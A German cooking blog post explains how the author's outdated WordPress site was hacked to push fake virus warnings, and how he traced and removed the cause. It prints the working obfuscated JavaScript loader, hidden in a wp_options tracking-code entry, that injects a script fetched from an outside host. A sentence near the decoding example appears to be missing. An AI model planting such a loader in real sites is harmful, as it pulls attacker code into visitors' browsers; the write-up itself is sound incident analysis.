In die Suppe gespuckt
Die Küche musste wegen eines Hygiene-Vorfalls vorrübergehend schließen. Jetzt haben wir wieder geöffnet. Reden wir darüber.
Was ist passiert? Die Web-Site „b-eats-blog.de“ wurde gehackt. Jemand hatte eine Sicherheitslücke in der Server-Software ausgenutzt, um in das Innere der Site einzudringen und sogenannten Schadcode zu platzieren. Im Fachjargon redet man von „Malware“. Das ist ein Kofferwort, welches bösartige (malicious) Software bezeichnet.
Für den Besucher meiner Web-Seite wirkte sich das so aus, dass er zu einer anderen Webseite umgelenkt wird. Je nach dem, welchen Web-Browser man verwendet hat, war das Ergebnis etwas anders. Beim Firefox wurde man aufgefordert der Web-Seite zu erlauben, sogenannte Push-Nachrichten an den Browser zu schicken. Dies ist ein relativ neues Feature im Web und ein Geschenk an alle, die im Internet Marketing machen wollen und Geld verdienen wollen. Es ist also wie geschaffen dafür, auch für Cybercrime-Aktivitäten eingesetzt zu werden. Ok, ich werde ja gefragt und muss die Push-Nachrichten ja nicht erlauben. Beim Internet-Explorer und beim neuen Mircrosoft-Browser Edge kamen die Push-Nachrichten allerdings ohne Nachfrage durch.
Die Nachricht war dann so, dass man ein Virus auf seinem Rechner hätte, den man möglichst umgehend beseitigen solle. Dazu bot man auch gleich ein Download einer geeigneten Software an, um den Virus zu beseitigen. Ich hoffe, dass hat niemand angeklickt, denn das mit dem Virus war natürlich gelogen. Eigentlich ist es heute ziemlich schwierig, klammheimlich im Hintergrund einen Virus auf einen Arbeitsplatz-Rechner zu platzieren. Es erfordert immer die Hilfe des Computer-Nutzers und der Angreifer muss diesen dazu bringen, irgend wo zu klicken und etwas herunterzuladen.
Anders ist es bei Computern die Server sind, die also Dienste im Internet anbieten. Da muss man ja von außen irgend wie drankommen um den Service zu nutzen. Und auch ich muss dran kommen um z.B. neue Artikel einstellen zu können. Der Server steht ja nicht bei mir im Keller, sondern ist bei irgend einem Internet-Hoster in einer Serverfarm. Also muss es Fenster und Türen geben, um Dinge nach außen sichtbar zu machen und um hineinzukommen, um das Angebot zu richten. Das Haus ist also voller Löcher: Eingänge für Kunden, Eingänge für Lieferanten und einen speziellen Eingang für den Chef, den Administrator. Haben wir noch etwas vergessen? Ja natürlich, die Eingänge für die Hausmeister. Das sind die Kümmerer der Serverfarm bei der ich mit meinem Blog nur ein Mieter bin.
Ein Haus abzusichern ist eine schwierigen Aufgabe, wie schon Wolf Biermann gesungen hat:
Ach Mutter mach die Augen zu
Der Regen und die Ratten
Jetzt dringt es durch die Ritzen rein
Die wir vergessen hatten
Was soll aus uns noch werden
Uns droht so große Not
Vom Himmel auf die Erden
Fall’n sich die Engel tot
Mein Blog-Haus ist ein Fertighaus. Der Web-Hoster bot mir verschiedene Varianten an. Ich hatte mich für die Variante Word-Press entschieden. Word-Press ist sehr beliebt, weil es als ausgereift gilt und es ein agiles Team gibt, das Word-Press weiterentwickelt, also die Möglichkeiten der Software erweitert und sie moderner macht. Nun ist es gar nicht meine Art, dass ich immer das neuste Modell einer Sache haben muss. Also ist mein Word-Press bei der ursprünglichen Version, die ich bekommen hatte, geblieben. Diese Bequemlichkeit bezahlt man damit, dass man immer angreifbarer wird. Je älter eine Software ist, desto verbreiteter ist das Wissen darüber, wie man die Software aushebeln kann. So hat es dann schließlich jemand geschafft, in meinen Blog einzudringen.
Nun ist aber wieder alles in Ordnung. Ich habe den Schadcode entdeckt und beseitigt und ich habe das Word-Press auf die neuste verfügbare Version hochgezogen.
Ich will als letztes noch verraten, wo sich der Schadcode auf meinem Blog versteckt hatte, und wie ich ihm auf die Spur gekommen bin. Sorry, wenn es jetzt etwas technisch wird. Aber so wie wir beim Kochen Biologie, Chemie und Physik nicht ausblenden können (auch mit Mathematik haben wir uns ja schon befasst, siehe Fleischklöße), so muss man auch als Blogger versuchen zu verstehen, wie die Dinge im Internet heute funktionieren. Sonst ist man nur Konsument, oder schlimmer, man ist die Ware, mit der andere im Internet ihr Geld verdienen.
Vorteilhaft ist ein Zugang zu einem Linux-Rechner. Hat man das nicht, kann man sich auf seinem Windows-PC das Software-Paket Cygwin installieren. Das bietet einem eine Kommandozeile, in der man alle schönen Tools der Unix/Linux-Welt zur Verfügung hat. Als ich bemerkt hatte, dass der Aufruf meiner Web-Seite nicht das erwartete Ergebnis lieferte, habe die URL der Seite mit dem Befehl „wget“ abgerufen. Der Befehl „curl“ ist eine Alternative dazu und hätte das gleichen bewirkt: Nämlich einfach den HTML-Code den der Web-Server sendet, aufzufangen und in einer Datei zu speichern.
Anders als ein Web-Browser machen sich wget oder curl nicht zum Knecht der empfangenen Worte. Mit HTML können diese Programme im Grunde gar nichts anfangen. Und genau diese Dummheit schützt uns. Ich kann nun diese Datei nach Auffälligkeiten durchsuchen. Als ersten suche ich, nach dem Namen der Web-Seite, an die man weitergeleitet wird. Fehlanzeigen. Dann schaue ich mir alle Script-Knoten in dem HTML-Code an. HTML ist eigentlich eine Beschreibungssprache mit der man definiert, was auf einer Web-Seite stehen soll und wie es aussehen sollt. In den Script-Konten kann man aber auch Befehle an den Web-Browser senden, die der dann auszuführen hat. Ein solcher Befehl könnte sein, dass der Browser die aktuelle Seite verlassen soll und eine andere aufrufen soll. Drei Arten von Script-Knoten muss man unterscheiden.
Die erste Art ist die, dass die Befehle des Skriptes direkt im HTML-Code stehen. Alternativ kann das Skript aber auch mit einem neuen HTTP-Request nachgeladen werden, ähnlich wie in der Webseite eingebettete Bilder nachgeladen werden. Hier muss man aber auch nochmal zwei Varianten unterscheiden. Einmal wird das Skript wieder von der selben Web-Site geladen, wie die HTML-Seite selbst (in meinem Falle also von b-eats-blog.de) oder von einer andern Site (www.wo-auch-immer.de).
Es hat sich herausgestellt, dass der Übeltäter ein Skript der ersten Art war, das also direkt in dem ausgelieferten HTML-Code steht. Es lautete:
var nt = String.fromCharCode(98,101,114,116,54);
var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);
var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);
var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47);
var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);
var lb = String.fromCharCode(103,97,98,114,105,101,108,108,97,108,111,118,101,99,97,116,115,46,99,111,109,47,108,111,110,101,46,106,115,63,122,111,110,101,105,100,61,56,57,54,53,52,51,50,38,117,116,109,95,99,61,52,38,109,114,111,61);
var c=document.createElement(sb);
c.type=tb,c.async=1,c.src=jb+lb+nt;
var n=document.getElementsByTagName(sb)[0];n.parentNode.insertBefore(c,n);
</script>
var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);
alert(’sb = ‚ + sb);
</script>
einbindet. Ruft man die Webseite auf, wird durch den alert-Befehl ein Popup-Fenster geöffnet, in dem der Text „sb = script“ steht. Aha, das Wort „script“, ist also die Auflösung des Zahlencodes. So kann man es mit all diesen Variable machen. ZB. sieht man, dass die Variable tb den Inhalt „text/javascript“ bekommt. Also worum geht es in diesem Skript. Man könnte meinen, es geht um Programmierung. Und genau das ist es. Das Skript kreiert eine neues Script (createElement) und bringt es in die Web-Seite ein (insertBefore). Diese eingefügte Script ist aber eines, wo der Programmtext von einem anderem Server nachgeladen wird: c.src=jb+lb+nt : Die Quelle des Scriptes c bildet sich aus der Verkettung der Inhalte der Variablen jb, lb und nt; das ist die Web-Adresse, von der das Schadscript geladen wird.
Ok, Problem erkannt, Problem gelöst? Davon war ich noch entfernt. Wo versteckt sich in meiner Word-Press-Installation etwas, das dafür sorgt, dass in jede Webseite dieses verdammte Script eingefügt wird. Das hatte ich noch nicht geklärt.
Ich habe mich per ssh auf meinem Server eingeloggt und mit dem grep-Befehl in allen Verzeichnisse nach einer Datei gesucht, die den Text „fromCharCode“ enthält. Ich bin aber nicht fündig geworden. Dann habe ich mit dem Gedanken gespielt, dass ich alles platt machen muss und neu aufsetzen muss. Also habe ich einen Datenbank-Dump gemacht, um meine textlichen Inhalte zu sichern. Weil ich diesen Dump jetzt gerade mal vor mir liegen hatte, habe ich auch hier nach dem Wort „fromCharCode“ gesucht. Und da wurde ich fündig. Das Script, das ich in meiner Web-Seite gefunden hatte, befand sich in einem Eintrag „wp-piwik-tracking_code“ in der Datenbanktabelle „wp_options“.
„Tracking“ ist auch wieder so eine Unsitte im Internet mit der man den Besucher einer Web-Seite beobachten kann und Statistiken über sein Verhalten erstellen kann. Word-Press hätte nicht diese Popularität, wenn es nicht auch dafür Möglichkeiten bieten würde. Besonders, wenn man mit seiner Webseite durch Werbeeinnahmen Geld verdienen möchte, ist das Tracking notwendig. Es erfolgt über Code-Schnipsel, die in die Web-Seite eingebaut werden. Diese Code-Stücke werden als Konfiguration in der Datenbanktabelle „wp_options“ abgespeichert. Das ist eine ideale Stelle für den Angreifer, den Schadcode einzubauen.
Ich habe dann diesen Datenbank-Eintrag gelöscht und natürlich hatte ich die Word-Press-Installation auf die aktuellste Version hochgerüstet und ich hatte neues ein neues Datenbank-Passwort gesetzt. Somit war die Sache repariert und überstanden.
Für den Laien stellt sich oft die Frage, ob er denn so einfach von der Seite in etwas hinein grätschen darf und etwas aus der Datenbank heraus löschen. Vielleicht macht er damit erst recht alles kaputt. Für mich war die Entscheidung einfach. Erstens war die Sache sowieso kaputt, weil meine Artikel nicht mehr online waren, zweitens war der Datenbank-Eintrag genau der Schadcode, der die Besucher meiner Web-Seite umlenkte und drittes wusste ich, dass ich kein Tracking machen will.
Kommentare
In die Suppe gespuckt — Keine Kommentare